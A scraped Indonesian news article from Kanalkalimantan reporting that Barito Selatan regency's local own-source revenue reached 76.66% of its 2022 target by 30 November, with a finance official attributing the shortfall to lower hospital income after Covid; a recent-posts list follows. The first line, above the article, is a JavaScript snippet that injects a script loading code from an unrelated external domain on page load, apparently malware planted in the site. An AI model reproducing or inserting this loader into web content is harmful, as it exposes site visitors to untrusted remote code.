(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Realisasi PAD Barsel per 30 November 2022 Capai 76,6%


KANALKALIMANTAN.COM, BUNTOK – Realisasi pendapatan Pajak Asli Daerah (PAD) Kabupaten Barito Selatan (Barsel) hingga per 30 November 2022 telah tercapai sebanyak Rp 75.175.881.587 atau 76,66%, dari target yang ditetapkan sebesar Rp 98.650.794.810.

“Memang hal yang paling mempengaruhi ini adalah terjadinya penurunan realisasi pendapatan di BLUD, dimana dapat kita maknai positif karena selama 2 tahun ke belakang memang realisasi di PHD dari blud besar, sehubungan dengan melandainya kasus Covid-19, sehingga realisasi juga mengalami penurunan di RSUD Buntok,” kata Kepala BPKAD Barsel, Akhmad Akmal Husein, Selasa (27/12/2022).

BPKAD Barsel memang menargetkan masih sama seperti 2021 yang angkanya di atas Rp 50 miliar, dimana RSUD dengan malandainya kasus covid tentu angka itu juga mengalami penyesuaian.

“Sehingga target kita pada RSUD Jarse Buntok mengalami peningkatan PAD, menjadi menurun dengan menurunya kasus Covid di Barsel,” ujar Akmal.

 

 

Baca juga: Ratusan Liter Tuak di Guntung Manggis Dimusnahkan Pemilik Sendiri, Dibeli dari Daerah Tala

Peningkatab sektor pajak sendiri dari 76,66%, terdiri dari sektor yang paling banyak menyumbang ada di PAD dari empat jenis. Yang pertama soal pajak daerah penghasil retribusi daerah, hasil pengelolaan kekayaan daerah dipisahkan dan lain-lain pendapatan asli daerah yang sah.

“Dari dari 4 sektor inilah sekarang yang mengalami hal yang signifikan adalah di hasil pengelolaan kekayaan daerah yang dipisahkan, nah ini sudah di angka 122% persentasenya, memang di sini yang besar,” jelasnya.

Sektor pajak daerah retribusi daerah jika dibandingkan dengan bulan yang sama pada tahun yang lalu 2021 mengalami peningkatan .

“Artinya dengan menurunya kasus covid di Barsel, PAD pada RS Buntok menurun, namun penghasil PAD dari sektor lain ikut meningkat, maka optimisasi PHD yang kita lakukan bisa lebih intensif dan kita lakukan turun ke lapangan mendatangi perusahaan-perusahaan wajib pajak dan sebagainya,” tutur Akmal.

Kalau dibandingkan pada tahun pada bulan yang sama tahun sebelumnya 2021 semua sektor mengalami mengalami peningkatan, cuma memang pada 2022 targetnya ditingkatkan hingga akhirnya cuma sampai sampai 76% tadi.

Baca juga: Bantuan Rumah Ambruk Korban Angin Kencang di Sungai Andai Terus Mengalir

“Namun ini masih masuk hitungan hingga akhir November, jadi kita masih memiliki waktu untuk menaikan PAD paling tidak hingga mencapai 80%,” pungkas Akmal. (Kanalkalimantan.com/digdo)

Reporter : digdo
Editor : kk


Risa

Recent Posts

DPRD Banjarbaru Target Tiga Raperda Inisiatif Selesai Dalam Tiga Bulan

KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More

32 menit ago

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

5 jam ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

7 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

7 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

8 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

8 jam ago

This website uses cookies.